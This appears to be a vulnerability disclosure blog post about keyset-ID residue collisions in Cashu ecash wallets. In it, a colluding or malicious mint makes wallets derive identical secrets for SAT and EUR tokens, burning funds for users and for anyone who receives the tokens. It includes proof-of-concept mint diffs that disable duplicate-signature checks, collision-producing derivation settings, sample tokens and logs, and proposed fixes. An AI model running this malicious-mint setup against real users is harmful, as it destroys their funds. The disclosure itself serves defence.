Two birds One stone
Problem
A user could burn their SAT tokens in the wallet while spending USD/EUR tokens issued by a cashu mint with residue collision in the keyset IDs used for different units.
Related vulnerability: https://conduition.io/code/cashu-disclosure/
const residue = BigInt("0x" + KeysetID) % BigInt(2 ** 31 - 1);Multiple 64-bit Keyset IDs can map to the exact same 31-bit residue through modulo math.
If a wallet interacts with a mint that offers two colliding keysets (SAT and EUR), the wallet will calculate the identical residue for both. Because the wallet uses the residue as the BIP-32 derivation index, it will derive the exact same cryptographic secret for a 1 SAT token as it does for a 1 EUR token.
Note: This issue also affects mints that use multiple keysets for SAT or rotate keysets.
Nutshell (mint implementation) protects against such collisions and returns the OutputsAlreadySignedError when the user tries to mint a token for another unit in the wallet. However, nutmix (mint implementation) is still vulnerable. I have used nutshell with some changes in the code for this proof of concept.
Most cashu wallets I’ve tried do not provide any security against these attacks. As a result, a malicious mint (irrespective of the implementation) could use keysets with colliding residue. Cashu wallets do not validate several things while interacting with mints but that’s a topic for another day.
--- a/cashu/core/base.py
+++ b/cashu/core/base.py
@@ -545,8 +545,8 @@ class Unit(Enum):
sat = "sat"
usd = "usd"
eur = "eur"
- msat = "msat"
- bits = "bits"
+ # Mapping units to specific derivation paths for collision
+ sat = 4969
+ eur = 49018
--- a/cashu/mint/verification.py
+++ b/cashu/mint/verification.py
@@ -143,10 +143,10 @@ class LedgerVerification(SupportsKeysets, SupportsDb):
if stored_before:
signed_outputs = [o for o in stored_before if o.C_ is not None]
- if any(o.C_ for o in signed_outputs):
- raise OutputsAlreadySignedError()
- else:
- raise OutputsArePendingError()
+ # Allow duplicate blinded messages to be signed
+ # if any(o.C_ for o in signed_outputs):
+ # raise OutputsAlreadySignedError()
def get_fees_for_proofs(self, proofs: List[Proof]) -> int:
- fee = (sum([self.keysets[p.id].input_fee_ppk for p in proofs]) + 999) // 1000
- return fee
+ # Zero fees
+ return 0
--- a/cashu/mint/migrations.py
+++ b/cashu/mint/migrations.py
@@ -28,9 +28,7 @@ async def m001_initial(db: Database):
CREATE TABLE IF NOT EXISTS {db.table_with_schema('promises')} (
amount {db.big_int} NOT NULL,
b_ TEXT NOT NULL,
c_ TEXT NOT NULL
-
- UNIQUE (b_)
);
MINT_PRIVATE_KEY="malicious_research_seed_123"
MINT_DERIVATION_PATH="m/0'/4969'/43668'"
MINT_DERIVATION_PATH_LIST=["m/0'/49018'/59266'"]
MINT_INPUT_FEE_PPK=0
MINT_BACKEND_BOLT11_SAT=FakeWallet
MINT_BACKEND_BOLT11_EUR=FakeWallet
curl http://localhost:3338/v1/keysets
{
"keysets": [
{
"id": "00399a5cf82c528f",
"unit": "sat",
"active": true,
"input_fee_ppk": 0
},
{
"id": "00da12b1f6eb61e5",
"unit": "eur",
"active": true,
"input_fee_ppk": 0
}
]
}Wallet A: User mints 1 EUR cashu token and spends it.
cashuBo2FtdWh0dHA6Ly9sb2NhbGhvc3Q6MzMzOGF1Y2V1cmF0gaJhaUgA2hKx9uth5WFwg6RhYRhAYXN4QGM2OTI0MjYyYzgzNzk1ZGY5N2E2ODJhY2NlY2Y3NTQ3NmVmZjIxNzcxZmFiNWFhYTIwZmMwN2M1NTk0NDk0NjdhY1ghA01wlYJPdqtdlTfSMVq84-n4Q9hLitrgl6hUWAVHpTCAYWSjYWVYIGvcDAS9ro1zQhssHS57a9MByKGum_c806BJ5SvXGjUUYXNYILZL5W2mBIcIGPn0cDzEcFPWjofb-TYO1ZkMHufqD2_eYXJYIMkczuyI2ItErpI2K44DconkoqNUBPtZgC260pYbvptipGFhGCBhc3hAMDgzZDNmMDY4NDI4YzhhYWUwZGM0NTFkM2U1YzUwZGU1MjgwMDA0YTY3NGIwN2UzMDRlYjMyZmYwMmQ3OWM5ZWFjWCECcljSCzdhOrdUNoyFfO3s91lPGuHqOcQu73xHfkMcq_VhZKNhZVggZTvnqEBJcxKySlkS6MhwnLPNW3LRPJ6gv6DLh8NEEzphc1gglYsBa0FsmjaaukwduLlsPe477kjUHJblaqft1P2mnNNhclggSdib02glthewahh4qzJ2Oe5Etv3sJC-wWRIxD0E85dykYWEEYXN4QDViODE2MmJjZjVkMDFmODc2OTY2NDY5YzI0NmRmMGNlY2Q1ODY3ZTQ0MjE0N2IyNzdlNjhmM2FhM2Q5N2FiMTJhY1ghAlSilxqrDtlj0q6l7bz8mGmaXZLa0DyTiYaeU59q1k8ZYWSjYWVYILZUdRyWVumfeBPnA7WxGClWAGizfk1MTkzJst7ZlGvtYXNYIBEXTPAO0x3SJx8ddCiHrVhxq5pQoQtCEkB3H4guHS3WYXJYICOcJEQlEzWsY7j_CqmVg8L1Tli3DoHGqRB9QoqM76qxWallet A: User mints 1 SAT cashu token and sends it to another user with wallet B.
cashuBo2FtdWh0dHA6Ly9sb2NhbGhvc3Q6MzMzOGF1Y3NhdGF0gaJhaUgAOZpc-CxSj2FwgaRhYQFhc3hAYzY5MjQyNjJjODM3OTVkZjk3YTY4MmFjY2VjZjc1NDc2ZWZmMjE3NzFmYWI1YWFhMjBmYzA3YzU1OTQ0OTQ2N2FjWCECX8i3eoKL6CSO5UqO9FXHItOeuSLHMw3zyKrSvnaDoE9hZKNhZVggH_1GzOcuhS5XHQ66TgyTu0LNN6y4UhFnQgzASLwe6AFhc1gg4s4a1-Tjm22HNc1wqU9MISd9uAoeYGONNzkee1kpMY5hclggyRzO7IjYi0SukjYrjgNyieSio1QE-1mALbrSlhu-m2IWallet B: User tries to swap the received cashu token but the mint returns an error: proofs already spent.
This vulnerability is not limited to the user who minted SAT and EUR tokens in the wallet A. Anyone who receives these tokens will be affected and lose funds as well. So this vulnerability can spread like a virus and burn the cashu tokens for several users.
Browser console logs:
### mint(): mintQuote {quote: 'SBkjHvE6uwFfoR08VZkVoALsYk0WHc9T0LQMYl4d', request: 'lnbc10n1p5un9a29qypqqqdqqxqrrsssp5nl9kwu0xfpnzn9q7…dgamrqc6rlt93030mxpd5c9zkuajh23asf7gegpfmqqtngfdc', amount: 1, unit: 'sat', state: 'PAID', …}
ui.7b2459a1.js:14 Uncaught (in promise) r {name: 'ConstraintError', message: 'Key already exists in the object store.\n ConstraintError: Key already exists in the object store.', inner: ConstraintError: Key already exists in the object store.}Wallet B: User had received 1 EUR cashu token from wallet A and now tries to mint 1 SAT cashu token using the same mint. The history shows it was added to the wallet but the wallet silently drops it.
Fix
checkForMintKeysetIdCollisionsin wallets should not exclude the mint being added in the wallet to ensure no intra collisions.Stop using keyset v1 and move to keyset v2.
If you enjoy these posts about vulnerabilities and want to support my research, consider donating some sats to donate.joinstr.xyz.






